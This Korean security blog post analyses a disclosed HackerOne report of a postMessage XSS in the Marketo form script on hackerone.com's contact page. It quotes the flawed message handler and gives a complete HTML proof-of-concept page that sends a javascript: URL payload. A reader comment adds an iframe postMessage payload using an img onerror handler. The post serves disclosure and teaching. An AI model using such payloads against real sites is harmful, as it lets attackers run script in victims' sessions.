https://hackerone.com/reports/398054
postMessage XSS?
postMessage를 이용하면 크로스 도메인간 데이터 송/수신 및 처리가 가능한데, 이 구간에서 사용자 입력에 대한 검증이 부족할 때 XSS 삽입을 할 수 있습니다. 예전에 글 작성해뒀던게 있으니 자세한 내용은 아래 링크에서 참고해주세요~https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
postMessage XSS on HackerOne(by adac95)
adac95(Adam)은 이 취약점은 50만원정도(500$) 받았다고 하네요, 보통 XSS 버그바운티 가격선에서 받은 것 같습니다. 뭐 이건 중요한게 아니니 바로 내용을 보시죠.우선 hackerone.com 내 contact 페이지쪽엔 Marketo forms2.js 가 있습니다. 정확한 기능은 잘 모르겠으나..(제가 분석한건 아니니)
우선 이 자바스크립트에는 PostMessage 처리 구간이 존재합니다. onMessage() 핸들러로 데이터를 전달받아서 처리하게 되는데 mktoReady가 true이면 onReady(), false이면 onResponse 가 호출됩니다.
$(window).on("message", onMessage);
function onMessage (e){
if(e.originalEvent && e.originalEvent.data){
var d;
try {
d = $.parseJSON(e.originalEvent.data);
}catch(ex){
return;
}
if(d.mktoReady){
onReady();
}else if(d.mktoResponse){
onResponse(d.mktoResponse)
}
}
}
onResponse에는 mktoResponse의 상태를 보고 error, success로 분기해주는 로직이 있습니다.
function onResponse(mktoResponse){
var requestId = mktoResponse["for"];
var request = inflight[requestId];
if(request){
if(mktoResponse.error){
request.error(mktoResponse.data);
}else{
request.success(mktoResponse.data);
}
}
delete inflight[requestId];
}
여기서 문제가 되는 부분은 success 분기 구간인데, 인자값으로 받은 데이터에서 url을 뽑아내고, 최종적으로 location.href에 들어가게 됩니다.
var success = function (data){
if(data.error){
onError(data);
}else if(data.formId){
var u = findCorrectFollowUpUrl(data);
if(false === onSuccess(values, u)){
return;
}
cookieHelper.removeCookieAllDomains("_mkto_purl");
location.href = u;
}
}
이 과정중에선 Js단에서 인자값에 대한 Escape 처리 등이 없었고, javascript: , data: 등의 구문이 들어오게 되며 그대로 스크립트로 실행하여 처리하게 될겁니당.순서를 보면..
onResponse => request.success => data.err(에러 아닐 때 ) => location.href={User-Input}
PoC
결국 postMessage로 공격코드가 포함된 mktoResponse를 전달해주면 트리거됩니다.<!DOCTYPE html>
<html>
<head>
<title>Hackerone PostMessage XSS</title>
</head>
<body>
<p>You want to contact Hackerone! Click this button and submit the form!</p>
<button id="openH1">Click Here</button>
<script>
var h1Win;
function openWin(){
h1Win = window.open("https://www.hackerone.com/#contact/");
setInterval(sendMessage, 250);
}
function sendMessage(){
h1Win.postMessage('{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}',"*");
}
document.getElementById("openH1").addEventListener('click', openWin);
</script>
</body>
</html>
hackerone.com에서는 아래와 같은 포맷으로 데이터를 받았을테고, 결국 followUpUrl을 따라서 javascript 구문이 동작하게 됩니다.
{"mktoResponse":{"for":"mktoFormMessage0","error":false,"data":{"formId":"1013","followUpUrl":"javascript:alert(document.domain);//","aliId":17144124}}}
https://hackerone.com/reports/398054 |
Conclusion
솔직히 postMessage 구간은 신경쓰지 않으면 눈에 굉장히 안들어오긴 합니다.(모든 페이지에서 postMesage가 사용되는지 체크, 검증하기엔 좀 그렇죠. 해도 ZAP/Burp Extension 등으로 해야 그나마 나을듯요)
전에 내용으로만 정리한게 실제로 나와주니 좀 반갑긴하네요..
(물론 예전 글 썼던 2016년쯤, 일하다가 한번 저걸로 찾은적이 있긴합니다. 그게 처음이자 마지막이였네요…ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ)
그나저나 전 버그바운티 하기 왜이리 귀찮을까요... 손이 안가네요
media0.giphy.com/media/NWg7M1VlT101W/giphy.gif |
Reference
https://hackerone.com/reports/398054https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
HAHWULSecurity engineer, Gopher and H4cker! |
음...궁금한게 있는데요 postMessaage XSS 공격은 어떤식으로 공격코드를 전달할 수 있나요..?
ReplyDelete예를들면 Reflected 공격은 공격코드가 포함된 URL링크를 보내고, Stored 공격은 저장되는 글에 코드를 입력해서 공격하는 구조인데.. 이거는 잘상상이 안가서 질문드립니다 'ㅅ';
음 우선 개인적으로 XSS는 2가지로 나눠서 보구요(reflected, stored) 이야기주신대로 저장됬냐, 반사되냐 차이이죠. (전 이런면에선 DOM도 따로 분리하는게 좀 그래요)
DeletepostMessage를 이용해서 reflected 또는 stored XSS를 발생시킨다고 보시는게 더 좋을 것 같아요.
예를들어 A 사이트에 postMessage를 이용해서 DOM에 데이터를 쓰는 취약 페이지가 있다면 공격자가 다른 사이트에 XSS를 찾아서 스크립트를 삽입하거나 자신의 페이지에 공격코드를 삽입하고 해당 페이지를 사용자가 방문할 떄 A 사이트에서 스크립트가 동작하게 하는 형태로 공격코드가 전달됩니다.
요점은 A사이트 도메인에서 스크립트가 동작했다는거구요 :)
Reflected XSS의 요점도 대상 사이트에서 스크립트가 동작한다는거고, 이야주신 URL을 전달하는 방법도 여러 공격 수단 중 하나일뿐이에요.
Delete- 공격 url을 직접 전달
- 공격자 사이트에 reflected XSS 페이지로 넘어가는 코드를 삽입
- 다른 취약한 사이트에 reflected XSS 요청을 발생시키는 코드를 삽입
+ 예를들면 iframe? iframe을 쓰는 서비스들은 대체로 허용된 도메인(youtube 등)만 쓸 수 있게하는데, youtube에서 reflected xss를 찾으면 직접 전달하지 않고 저런 페이지를 통해서 또 코드를 전달할 수 있겠죵)
- 등등 무수히 많습니닷
이야기가 딴곳으로 샜었느데, 이런식의 코드로 생각해볼 수 있겠네요.
Delete<div id="message"></div>
<iframe id="tt" src="(취약한 postMessage를 사용하는 페이지)" width="200" height="100"></iframe>
<script type="text/javascript">
var a = function(){
var dest = document.getElementById("tt");
dest.contentWindow.postMessage("
Parent: MSG<img src='z' onerror=alert(45)>","*");
}();
</script>